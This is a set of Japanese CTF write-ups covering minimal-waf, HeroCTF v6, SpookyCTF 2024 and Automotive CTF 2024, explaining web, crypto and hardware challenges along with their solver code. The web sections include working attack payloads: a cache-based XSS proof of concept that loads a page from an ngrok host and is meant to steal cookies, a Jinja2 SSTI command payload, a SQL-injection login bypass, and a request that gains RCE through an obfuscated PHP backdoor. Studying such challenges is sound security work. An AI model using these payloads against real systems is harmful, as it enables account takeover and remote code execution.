                print(c)
                path += "/%61"
                break
        elif c == 'f':
            if test(BASE + path + "/%66"):
                print(c)
                path += "/%66"
                break
        else:
            if test(BASE + path + f"/{c}"):
                print(c)
                path += f"/{c}"
                break
    print(path)

よもやま話。最初いつも使っているrequestsを使っていたのだが、URL中のパーセントエンコーディングの制御がうまくできず破滅してしまったのでhttpxに切り替えて実装した。第一問目は実装速度勝負問題だったので、勝負に負けて悔しい。

これで、乱数パス部分は復元できたので、末尾に%66/%6c/%61/%67/t/x/tをつけてリクエストすればフラグがもらえる。

[web] minimal-waf 解けなかった

javascript, expressで作られた以下のサイトとフラグをcookieに入れてアクセスするadminbotが与えられる問題。

import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
[redacted]
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);

単純に/view?html=<s>XSS</s>とするとHTMLインジェクションはできていることが分かる。しかし、scriptタグなどのXSSできそうなものを使おうとすると、if (/script|src|on|html|data|&/i.test(html)) {の検証部分に阻まれてXSSできない。

Sec-Fetch-*に関する検証部分

特徴的な点といえばやはりSec-Fetch-*に関する検証がある所だろう。same-originで、かつ、普通のサイト閲覧じゃない読み込み(トップレベルナビゲーション以外で読み込み)の場合は厄介な検証を回避することができる。HTMLインジェクションができるということを考えると、何かしらのタグを使って/viewに対して読み込みを頑張るのではないだろうか。

mdnを見てみよう。Sec-Fetch-Dest

Sec-Fetch-Dest: audio
Sec-Fetch-Dest: audioworklet
Sec-Fetch-Dest: document
Sec-Fetch-Dest: embed
Sec-Fetch-Dest: empty
Sec-Fetch-Dest: fencedframe
Sec-Fetch-Dest: font
Sec-Fetch-Dest: frame
Sec-Fetch-Dest: iframe
Sec-Fetch-Dest: image
Sec-Fetch-Dest: manifest
Sec-Fetch-Dest: object
Sec-Fetch-Dest: paintworklet
Sec-Fetch-Dest: report
Sec-Fetch-Dest: script
Sec-Fetch-Dest: serviceworker
Sec-Fetch-Dest: sharedworker
Sec-Fetch-Dest: style
Sec-Fetch-Dest: track
Sec-Fetch-Dest: video
Sec-Fetch-Dest: webidentity
Sec-Fetch-Dest: worker
Sec-Fetch-Dest: xslt

document以外の読み込みで、if (/script|src|on|html|data|&/i.test(html)) {の検証を回避できそうなものとして、

<link rel="stylesheet" href="http://localhost:3000/view?...">
<link rel="manifest" href="http://localhost:3000/view?...">

がある。試しにstylesheetの方で試してみよう。

<link rel="stylesheet" href="http://localhost:3000/view?html=<script>alert(origin);</script>">

これを試すと、htmlとscriptが検証に引っ掛かってしまう。だが、これはパーセントエンコーディングで回避可能。つまり、

<link rel="stylesheet" href="http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>">

を入力してみると、linkタグを埋め込むことができ、href部分がいい感じに解釈されてリクエストが飛ぶ。このリクエストでは、sec-fetch-dest: stylesec-fetch-site: same-originが付いてくるので検証が回避され、<script>alert(origin);</script>というのが帰ってくることになる。いい感じ。

この結果をどう呼び出すか

<script>alert(origin);</script>という応答が得られるルートは分かったが、これをどうHTMLとして解釈させる方法が次の課題。ここは飛躍が必要な部分で、自分は自分のCTFメモを上から順に眺めて発見した。最近流行りのクライアントサイドのキャッシュを利用したXSSテクを利用すると実現できた。

作問者であるArkさんが過去出題したspanoteで紹介されているテクを使う。ページの戻るを使うことでキャッシュを使わせて違うタイミングで取得したコンテンツを表示させるものである。これにより、linkタグのhrefで取得した内容を、普通にページで開く(トップレベルナビゲーションで開く)ことができる。以下のような流れで攻撃を行う。

  1. キャッシュ汚染を利用したいページXを普通に(トップレベルナビゲーションで)開く
  2. ページXがキャッシュさせたいコンテンツを返すように頑張る
  3. ページの戻るを行うページに遷移させ、手順1のページまで戻す。すると、キャッシュが利用され、手順2でキャッシュしたコンテンツが普通に(トップレベルナビゲーションで)帰ってくる

分かりにくいと思うのでもう少し具体的に書く。

  1. まず、http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>を開く

  2. 次に、http://localhost:3000/view?html=%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Flocalhost%3A3000%2Fview%3F%2568tml%3D%3C%2573cript%3Ealert%28origin%29%3B%3C%2F%2573cript%3E%22%3Eを開く。
    この時、<link rel="stylesheet" href="http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>">というのが埋め込まれるので、そこから更にhttp://localhost:3000/view?%68tml=%3C%73cript%3Ealert(origin);%3C/%73cript%3Eが呼ばれる。
    この部分が重要で、これはつまり手順1と同じURLを開いていることになるのだが、stylesheetとして読み込んでいるため、Sec-Fetch-Dest: styleとなり、結果として入力値がそのまま帰ってくる。そして、それがクライアントサイドでキャッシュされる!

  3. 「ページの戻るを行うページ」として、back.htmlを自前でホストしておいて、そこに遷移させる。back.htmlの中身は<script>history.go(-2);</script>。このページに遷移すると、2ページ戻るため、手順1でのページに戻される。このとき、手順1のサイトを表示するためにブラウザはブラウザがキャッシュしたものを利用するが、手順2でキャッシュしたものを採用してくれる。これにより、stylesheetとして読み込んだキャッシュデータではあるが、普通のサイト表示としてキャッシュが利用されてしまう。

これでアラートが出ます!PoCコードの方が分かりやすいかもしれません。以下のようなサイトを踏ませることでアラートを出させることができます。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    setTimeout(async () => {
        w = window.open(`http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>`);
        await sleep(3000);
        w.location = 'http://localhost:3000/view?html=%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Flocalhost%3A3000%2Fview%3F%2568tml%3D%3C%2573cript%3Ealert%28origin%29%3B%3C%2F%2573cript%3E%22%3E';
        await sleep(3000);
        w.location = 'http://[yours].ngrok-free.app/back.html'; // 2 back
    }, 0)
</script>

これでXSS達成したので、あとはalert(origin);部分をcookieを送るものに変更してadmin-botに踏ませればフラグ獲得です。

ちなみに、manifestを使う場合のPoCはこちらです。fetch('https...fetch('http...にして活用ください。

余談

何故かPoCが動かない…となってコンテスト終了していたが、fetchでhttpsをやっていてSecure Contextに引っ掛かっていたのと、何故かadmin-botlocalhostではなくIPアドレスの方で送らないといけないと思っており(web歴何年目?)、keymoonさんとarkさんから本質的なアドバイスをもらっていたのに訳の分からないリプをしてしまい大反省。

HeroCTF v6 Writeups

https://ctftime.org/event/2496

[crypto] Interpolation

以下のようなsageファイルが与えられる。

#!/usr/bin/sage
import hashlib
import re

with open("flag.txt", "rb") as f:
    FLAG = f.read()
    assert re.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)

F = FiniteField(2**256 - 189)
R = PolynomialRing(F, "x")
H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
C = lambda x: [H(x[i : i + 4]) for i in range(0, len(FLAG), 4)]

f = R(C(FLAG))

points = []
for _ in range(f.degree()):
    r = F.random_element()
    points.append([r, f(r)])
print(points)

flag = input(">").encode().ljust(len(FLAG))

g = R(C(flag))

for p in points:
    if g(p[0]) != p[1]:
        print("Wrong flag!")
        break
else:
    print("Congrats!")

何をしているかというと、フラグを4文字ずつに分けてsha256ハッシュにしたものを係数とした関数を準備して、その関数上の点がいくつか与えられるのでフラグを求めよと言う問題。

ラグランジュ補間

フラグはre.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)を満たす必要があるため、フラグの長さは96文字となる。これが4文字ずつに分かれるので、24個の係数が生成されることになる。この係数を  a_i とすると

 \displaystyle
a_0 = sha256(\verb|"Hero"|) \\
a_1 = sha256(\verb|"{???"|) \\
...\\
a_{23} = sha256(\verb|"???}"|) \\

という感じになり、用意される関数は

 \displaystyle
f(x) = a_0 + a_1 x + ... + a_{23} x^{23}

という感じになる。この関数上で23個の点が与えられる。この時点で、かなりラグランジュ補間っぽさがあるのだが、問題はラグランジュ補間を行うのに点が1つ足りないことである。23次多項式であるため、24個の点が必要。ここでa_0 = sha256(\verb|"Hero"|)の条件を活用する。a_0はsha256エンコードする文字列が全てわかっているので計算することが可能。これを使うことで関数の次数を1つ減らすことができる。

 \displaystyle
\begin{eqnarray*}
y &=& a_0 + a_1 x + ... + a_{23} x^{23} \\
y - a_0 &=& a_1 x + ... + a_{23} x^{23} \\
\frac{y - a_0}{x} &=& a_1 + ... + a_{23} x^{22}
\end{eqnarray*}

これは次数が減っているのか?という印象を受けるだろうが、これで与えられている関数上の点を(x,y')=(x,\frac{y - a_0}{x})のように変換してやると、

 \displaystyle
y' = a_1 + ... + a_{23} x^{22}

となって22次多項式になる。あとは、ラグランジュ補間をすれば、a_1からa_{22}までを復元することができる。

a_iを文字列に戻す

このパートはそれほど難しくなく、4文字の文字列を全探索してハッシュ値が一致するものを採用すれば復元可能。sha256計算が重いので、O(|a| * |\verb|candidate_chars||^4)のように毎回全探索するのではなく、文字列とハッシュ値の辞書を前計算しておき、O(|a| + |\verb|candidate_chars||^4)にしておくと良い。

sageソルバー

from output import points
import hashlib
import sys

hash_dic = {}
dic = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_{}"
for c1 in dic:
    print(c1, file=sys.stderr)
    for c2 in dic:
        for c3 in dic:
            for c4 in dic:
                h = int(hashlib.sha256((c1 + c2 + c3 + c4).encode()).hexdigest(), 16)
                c = c1+c2+c3+c4
                hash_dic[h]=c

P = 115792089237316195423570985008687907853269984665640564039457584007913129639747 # 2**256 - 189
R.<x> = PolynomialRing(FiniteField(P))

H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
a0 = H(b"Hero")

points2 = []
for ps in points:
    x = ps[0]
    y = ps[1]

    y = (y - a0 + P) % P
    y = (y * pow(x, -1, P)) % P
    points2.append([ps[0], y])
f = R.lagrange_polynomial(points2)

print(f)
print(f.coefficients()[0])

for i in range(23):
    if f.coefficients()[i] in hash_dic:
        print(hash_dic[f.coefficients()[i]])

[crypto] Paranoia

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes
import os


class Paranoia:
    def __init__(self, keys):
        self.keys = keys

    def __pad(self, data: bytes, bs: int) -> bytes:
        return data + (chr(bs - len(data) % bs) * (bs - len(data) % bs)).encode()

    def __encrypt(self, algorithm, data: bytes, key: bytes):
        cipher = Cipher(algorithm(key), modes.ECB())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()

    def encrypt(self, data: bytes):
        """
        🇨🇳 encryption to protect against the 🇺🇸 backdoor and
        🇺🇸 encryption to protect against the 🇨🇳 backdoor

        I'm a genius !
        """

        data = self.__pad(data, 16)
        data = self.__encrypt(AES, data, self.keys[0])
        data = self.__encrypt(SM4, data, self.keys[1])
        return data


with open("flag.txt", "rb") as f:
    flag = f.read()

keys = [os.urandom(16) for _ in range(2)]
paranoia = Paranoia(keys)

banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."

print("pt_banner =", banner)
print("ct_banner =", paranoia.encrypt(banner))
print("enc_flag  =", paranoia.encrypt(flag))

# To comply with cryptography export regulations,
# 6 bytes = 2**48 bits, should be bruteforce-proof anyway
for n, k in enumerate(keys):
    print(f"k{n} = {k[3:]}")

以下のような暗号化コードが与えられる。以下のように暗号するプログラムで、1つの(plain,encrypted)の組と、flagを暗号化したものが与えられる。

                                                     
               key1            key2                  
                                                     
                │                │                   
             ┌──▼──┐          ┌──▼──┐                
             │     │          │     │                
   plain ───►│ AES ├── mid ──►│ SM4 ├───► encrypted  
             │     │          │     │                
             └─────┘          └─────┘                
                                                     

重要なのが、使われるkey1とkey2の先頭6bytes分を除いた部分も与えられるということ。6 bytesは2**48通り、つまり、2 * 1014通りということで競技プログラミングならアウトではあるが、もう少し時間があるCTFではまだ全探索できる範囲内。だが、key1とkey2を同時に全探索することはCTFでも時間が足りない。

半分全列挙

ここで半分全列挙的なアプローチが取れる。plainをAES暗号化してSM4暗号化した結果がencryptedと一致するかを確かめるのではなく、plainをAES暗号化した結果とencryptedをSM4復号化した結果が一致するかを確かめることにしよう。

まず、key1の未知部分を全探索して、plainをAES暗号化した結果とその時のkey1の辞書を作る。これで2^{48}通りかかる。つぎに、key2の未知部分を全探索して、encryptedをSM4復号化した結果を計算し、それと事前計算しておいた辞書にAES暗号化した結果とSM4復号化した結果が一致するようなものが無いかを探す。これも2^{48}通りの全探索で済む。(一致するようなものを探す際はdict型などを使おう)これで一致するものがあれば、plain + key1 - AES -> mid + key2 -SM4-> encryptedが見つかることになり、key1とkey2を特定できる。

特定できれば後はそれを使ってflagを暗号化したものを復号化すればフラグが手に入る。

pythonソルバー

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes

def encrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    encryptor = cipher.encryptor()
    return encryptor.update(data) + encryptor.finalize()

def decrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    decryptor = cipher.decryptor()
    return decryptor.update(data) + decryptor.finalize()

pt_banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."
ct_banner = b"\xd5\xae\x14\x9de\x86\x15\x88\xe0\xdc\xc7\x88{\xcfy\x81\x91\xbaH\xb6\x06\x02\xbey_0\xa5\x8a\xf6\x8b?\x9c\xc9\x92\xac\xdeb=@\x9bI\xeeY\xa0\x8d/o\xfa%)\xfb\xa2j\xd9N\xf7\xfd\xf6\xc2\x0b\xc3\xd2\xfc\te\x99\x9aIG\x01_\xb3\xf4\x0fG\xfb\x9f\xab\\\xe0\xcc\x92\xf5\xaf\xa2\xe6\xb0h\x7f}\x92O\xa6\x04\x92\x88"
enc_flag = b"\xaf\xe0\xb8h=_\xb0\xfbJ0\xe6l\x8c\xf2\xad\x14\xee\xccw\xe9\xff\xaa\xb2\xe9c\xa4\xa0\x95\x81\xb8\x03\x93\x7fg\x00v\xde\xba\xfe\xb92\x04\xed\xc4\xc7\x08\x8c\x96C\x97\x07\x1b\xe8~':\x91\x08\xcf\x9e\x81\x0b\x9b\x15"
k0 = b'C\xb0\xc0f\xf3\xa8\n\xff\x8e\x96g\x03"'
k1 = b"Q\x95\x8b@\xfbf\xba_\x9e\x84\xba\x1a7"

plain = pt_banner[:16]
encrypted = ct_banner[:16]

mid_cands = {}
for key_prefix in range(256*256*256):
    key0 = key_prefix.to_bytes(3, 'big') + k0
    mid = encrypt(AES, plain, key0)
    mid_cands[mid] = key0

for key_prefix in range(256*256*256):
    key1 = key_prefix.to_bytes(3, 'big') + k1
    mid = decrypt(SM4, encrypted, key1)
    if mid in mid_cands:
        key0 = mid_cands[mid]
        print(f"{key0=}")
        print(f"{key1=}")

        mid = decrypt(SM4, enc_flag, key1)
        flag = decrypt(AES, mid, key0)
        print(flag)
        exit(0)

[web] Jinjatic

ソースコード有り。/getflagの実行結果が得られればフラグが手に入る。攻撃箇所は以下。

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

メールアドレスとして正しい、かつ、jinja2向けのSSTIペイロードを送り込めば良い。調べるとpython-email-validatorが使われているようだ。

"DisplayName" <me@example.com>

こういう便利構文が通るので、

"{{lipsum.__globals__.os.popen('/getflag').read()}}" <me@example.com>

これでフラグが手に入る。

[web] PrYzes

ソースコード有り。pythonで書かれたサイトが与えられる。

app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode("utf-8"))
    return sha256_hash.hexdigest()

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
    data = request.json
    date_str = data.get("date")
    received_signature = request.headers.get("X-Signature")

    json_data = json.dumps(data)
    expected_signature = compute_sha256(json_data)

    if not received_signature == expected_signature:
        return jsonify({"error": "Invalid signature"}), 400
    
    if not date_str:
        return jsonify({"error": "Date is missing"}), 400

    try:
        date_obj = datetime.strptime(date_str, "%d/%m/%Y")
        if date_obj.year >= 2100:
            return jsonify({"message": FLAG}), 200

        return jsonify({"error": "Please come back later..."}), 400
    except ValueError:
        return jsonify({"error": "Invalid date format"}), 400

署名付きでデータを受け取っており、jsonのdataに2100年以降の日付を入力できればフラグが手に入る。index.htmlを見るとtext/pythonで送信スクリプトが書かれているので真似して2100以降の日付を送ろう。

import hashlib
import json
from datetime import datetime
import requests

def on_complete(req):
    json_data = json.loads(req.text)
    if req.status == 200:
        alert(json_data.get("message"))
    else:
        alert(f"Error: {json_data.get('error')}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode('utf-8'))
    return sha256_hash.hexdigest()

def get_current_date():
    current_date = datetime.now().strftime("%d/%m/%Y")
    return current_date

data = {
    "date": "27/10/9999"
}
json_data = json.dumps(data)
signature = compute_sha256(json_data)

print(requests.post('http://[redacted]/api/prizes', headers={
    'Content-Type': 'application/json',
    'X-Signature': signature
}, data=json_data).text)

[web] SampleHub

ソースコード有り。/.flag.txtが取得できればフラグ獲得。メインのソースコードは非常に簡潔。

const express = require("express");
const path    = require("path");

const app  = express();
const PORT = 3000;

app.use(express.static(path.join(__dirname, "public")));
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));

app.get("/", (req, res) => {
    res.render("index");
});

process.chdir(path.join(__dirname, "samples"));
app.get("/download/:file", (req, res) => {
    const file = path.basename(req.params.file);
    res.download(file, req.query.filename || "sample.png", (err) => {
        if (err) {
            res.status(404).send(`File "${file}" not found`);
        }
    });
});


app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

パストラバーサルを狙うがうまくいかない。path.basenameやres.downloadの第一引数などを人力fuzzingしてみるが刺さらない。観点が違っていて、res.downloadの第二引数に注目するのが正解。

res.downloadを見ると、optionsという引数があり、その表を見てみるとdotfilesという欄がある。通常だとignoreとなっており、今回取得したい.flag.txtは普通は取得できないようだ。ということは何とかしてこのoptionsを埋め込む必要があるのだが、filenameに関して型が指定されていないので辞書型を差し込むことができる。これでパスのルートディレクトリを指定できるrootも指定できるので、以下のようにリクエストを送ってやると、optionsとしてrootとdotfilesを差し込むことができ、フラグが手に入る。

GET /download/.flag.txt?filename[root]=/&filename[dotfiles]=allow HTTP/1.1
Host: [redacted]
Connection: keep-alive

SpookyCTF 2024 Writeups

https://ctftime.org/event/251634

[crypto] the-moth-flies-at-dawn

hash.txtというハッシュが書かれたファイルとwordList.txtという辞書ファイルが与えられる。ヒントが問題の本質。

HINT: It would be a SHAme if all 256 of these meals went to waste.

ということで、何かのSHA256ハッシュを取ったものが、hash.txtとして置かれているようである。ChatGPTでpythonでwordList.txtに書かれた各行をsha256ハッシュにして、hash.txtと一致するものを出力したいのように指示してコードを書かせる。

import hashlib

# ファイルのパスを指定します
wordlist_path = 'wordList.txt'
hashlist_path = 'hash.txt'

# hash.txt からハッシュ値を読み込む
with open(hashlist_path, 'r') as hash_file:
    hash_set = {line.strip() for line in hash_file}  # 各行のハッシュ値をセットに格納

# wordList.txt の各行をハッシュ化し、hash.txt 内のいずれかのハッシュと一致するか確認
with open(wordlist_path, 'r') as wordlist_file:
    for word in wordlist_file:
        word = word.strip()  # 各行のテキストを読み込み
        word_hash = hashlib.sha256(word.encode()).hexdigest()  # SHA256ハッシュを生成

        # ハッシュがhash.txt内に存在する場合、そのテキストを出力
        if word_hash in hash_set:
            print(word)

これをsolver.pyとして保存して実行すると答えが出てくる。

$ python3 solver.py 
blueberrypancake

[web] cryptid-hunters

ソースコード無し。以下のようなヒントが与えられている。

Hint: The hunters' webmaster is very tech illiterate. It seems like he just followed some intro level tutorial or used some free AI tool for the code.

アクセスして巡回するとlogin.phpというサイトがあり、ヒントが示唆するような基本的な脆弱性を試すと、SQL Injectionが刺さってフラグが出てくる。

username -> admin
password -> ' or 1=1 #

とすれば良い。

[web] entangled-server

難読化されたphpコードが与えられる。難読化を根性で復元して、変名すると以下のようになる。復元フェースが本編だと思うが、文字列を作ってそうな所をphpインタプリターを実行して文字列にちまちま変形していくのを繰り返していけばよい。

<?php

@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("max_execution_time",0);
@set_time_limit(0);
$input=NULL;
$key=NULL;
$GLOBALS["secret"]="5p1n-th3-51lly-5tr1ng5";
global $secret;
function f1($input,$key){
    $res="";
    for($i=0; $i<strlen($input);){
        for($j=0; $j<strlen($key) && $i<strlen($input); $j++,$i++){
            $res.=chr(ord($input[$i])^ord($key[$j]));
        }
    }
    return $res;
}

function f2($input,$key){
    global $secret;
    return f1(f1($input,$secret),$key);
}

if(!$input){
    foreach($_POST as $_key => $_val){
        $input=$_val;
        $key=$_key;
    }
}

$input = @json_decode(f2(base64_decode($input),$key),true);

if(isset($input["ak"]) && $secret==$input["ak"]){
    if($input["a"]=="e"){
        eval($input[d]);
    }
    exit();
}

?>

secretとkeyでXORしているのでsecretとkeyを一致させてやれば変換後は入力と同じものとなる。よって、以下のようなリクエストを送ればRCEできる。

POST /?c=id HTTP/1.1
Host: [redacted]:1337
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

5p1n-th3-51lly-5tr1ng5=eyJhayI6IjVwMW4tdGgzLTUxbGx5LTV0cjFuZzUiLCAiYSI6ImUiLCAiZCI6ImVjaG8gcGFzc3RocnUoJ2NhdCAvZmxhZy50eHQnKTsifQ%3d%3d

base64エンコード部分は{"ak":"5p1n-th3-51lly-5tr1ng5", "a":"e", "d":"echo passthru('cat /flag.txt');"}

[web] paranormal-picture

ソースコード有り。pythonで書かれたwebサイトが与えられる。フラグは以下にある。

@app.route('/flag')
def flag():
    if request.remote_addr == '::ffff:127.0.0.1' or request.remote_addr == '::1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('alarm.html'), 403

SSRFをしないといけない。SSRFができるポイントは以下にある。

def verifyBlog(url):
    blog_list = ["blog","cryptid","real","666",".org"]
    for word in blog_list:
        if word not in url:
            return False
    return True


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']
        try:
            result = verifyBlog(url)
            if not result:
                return render_template('index.html', error=f"Please submit a blog!")
        except:
            return render_template('index.html', error=f"Please submit a blog!")

        r = requests.get(url)

        return render_template('index.html', result=r.text)
    return render_template('index.html')

urlを入力して踏ませることができるが、verifyBlogを通す必要がある。これは["blog","cryptid","real","666",".org"]をURLに全て含んでいる必要があるというものであるが、この文字列がURLに入ってさえいればいいので、query-stringsとして埋め込むことにしよう。よって、http://localhost/flagにアクセスしたいのだが、

http://localhost/flag?blogcryptidreal666.org

を送ればフラグが得られる。

Automotive CTF 2024 World Final Writeup

予選国内決勝を経て、世界決勝にTeamONEの一員として行ってきました。結果は4位。チームメンバーのWriteupはここ。チームメンバーと運営に感謝です!

xNexus

これまでも出題されてきた、xNexusというVSOCプラットフォームが与えられて設問に答えていく問題群。#1に2時間溶かした挙句解けず、やらかしました…

CAN Bus Anomaly #2

Someone is trying to kill my engine. Determine what vehicle I am driving including the year by tracking CAN ID 0x7E0. Flag Format example: bh{Toyota Hilux 2021}

xNexusから該当する0x7E0のCAN通信を持って来ると以下の通信が記録されていた。

0x000007e0   05 31 01 40 44 ff 00 00

ここから車種と年代を特定する問題。この資料に該当する通信を見つけることができる。これの51ページを見ると、Ford社の車の通信であることが分かり、15ページを見ると更にa 2010 Ford Escapeと書いてあった。

つまり、bh{Ford Escape 2010}が答え。

RAMN

日本決勝でも題材として出題されたRAMNに関する問題群。実機を使わない問題もあった。

[FILE] SWD 1

問題文の転記を忘れたが、以下のようなロジアナのログが与えられるので、解釈してデータを取り出せという問題。

Time;CH 1 SWCLK;CH 2 SWDIO
0.000000000;1;1
0.594872000;0;1
0.594878000;1;1
0.594884000;0;1
0.594890000;1;1
0.594894000;0;0
0.594900000;1;0
…

SWCLKとSWDIOという用語で検索するとSerial Wire Debugという通信であることが分かる。ロジアナのログというのに慣れておらず、これを自力パースか?と思ってフォーマットを調べたり、無駄な1時間を過ごしてしまったが、素直にPulseViewで読み込むことが出来た。;,に変換して、csv形式でPulseViewに読み込ませる。Protocol DecoderでSWDを選択し、SWCLKとSWDIOと適切に指定すれば以下のように、いい感じにデコードされてくるので、全部ダンプしてくる。

1-15 SWD: : W AP4
18-22 SWD: : OK
28-90 SWD: : 0xe000ed00
94-108 SWD: : R APc
111-115 SWD: : OK
117-179 SWD: : 0x00000000
187-201 SWD: : RDBUFF
204-208 SWD: : OK
210-272 SWD: : 0x410fd212
280-294 SWD: : R CTRL/STAT
297-301 SWD: : OK
303-365 SWD: : 0xf0000040
372-386 SWD: : W AP4
389-393 SWD: : OK
399-461 SWD: : 0xe0042000
465-479 SWD: : R APc
482-486 SWD: : OK
488-550 SWD: : 0x00000000
…

エラーも無く、とてもいい感じ。出てきたものをなんとなく眺めていると、SWD: : W AP4の後にアドレスが書いてあって、SWD: : RDBUFFまでの間にデータが入っているような感じに読める。それっぽく取り出すスクリプトを書いて出してみると文字列が4bytes毎に逆になっていた、つまり、リトルエンディアンだったのでその辺りを調整して、以下のようなスクリプトを書いて全部持って来る。

res = {}

def rev(s):
    return s[6:] + s[4:6] + s[2:4] + s[:2]

with open("annon.txt") as fp:
    state = 0
    addr = ""
    buf = []
    for _line in fp.readlines():
        line = _line[:-1]
        if line.endswith("SWD: : W AP4"):
            assert state == 0
            state = 1
        elif state == 1 and line.endswith(" SWD: : OK"):
            state = 2
        elif state == 2:
            addr = line.split(':')[2]
            buf = []
            state = 3
        elif state == 3:
            if line.endswith("SWD: : RDBUFF"):
                res[addr] = buf
                state = 0
            elif "SWD: : 0x" in line:
                buf.append(rev(line.split(":")[2][3:]))

for addr,bufs in res.items():
    print(addr, bufs)

これで全部持ってこれるのでhex2binaryしてstringsすればフラグが出てくる。

[D] I2C

This flag will be transmitted every second on CAN with ID 0x778 if you can send any byte to ECU D on its I2C interface (port I2C2, address 0x63). Note: I2C pins have internal pull-up resistors. Pin layout is available here.

RAMNのECU DにI2C経由で書き込みを行うことができれば、CAN IDの0x778でフラグが出力されてくるという問題。ここを見ると、ECU Dのピン配置の番号は得られるのだが、番号と用途の対応表を見ても、どう刺せばいいか分からない。ロジアナで波形を見ながら用途を推測するような高等技術は持っていなかったため、検索を進めていくと、RAMNのGitHubのレポジトリにI2Cで使われる番号を書いた資料を見つけることが出来た。

https://github.com/ToyotaInfoTech/RAMN/blob/main/hardware/RAMNV1_pinout.pdf

ここから、

SCL -> PB10 ->14
SDA -> PB11 -> 15

ということが分かるので、その通り結線してやる。自分はtkitoさんから借りたBus Pirateを使ってI2C通信を行った。これで準備はできたので、CAN通信を受け取る準備をして、以下のようにBus Pirateでアドレス0x63に対して書き込みを行う。

I2C> [0x63 0x00 0x00 0x01]

するといい感じにACKが帰ってきて、CAN通信をcandumpで受け取っている方のコンソールで

 (1729536865.698447)  can0  778   [8]  62 68 7B 49 4E 46 41 4D   'bh{INFAM'
 (1729536865.700350)  can0  778   [8]  4F 55 53 5F 52 45 4D 41   'OUS_REMA'
 (1729536865.708109)  can0  778   [3]  4B 45 7D                  'KE}'

こんな感じにフラグが送られてくる。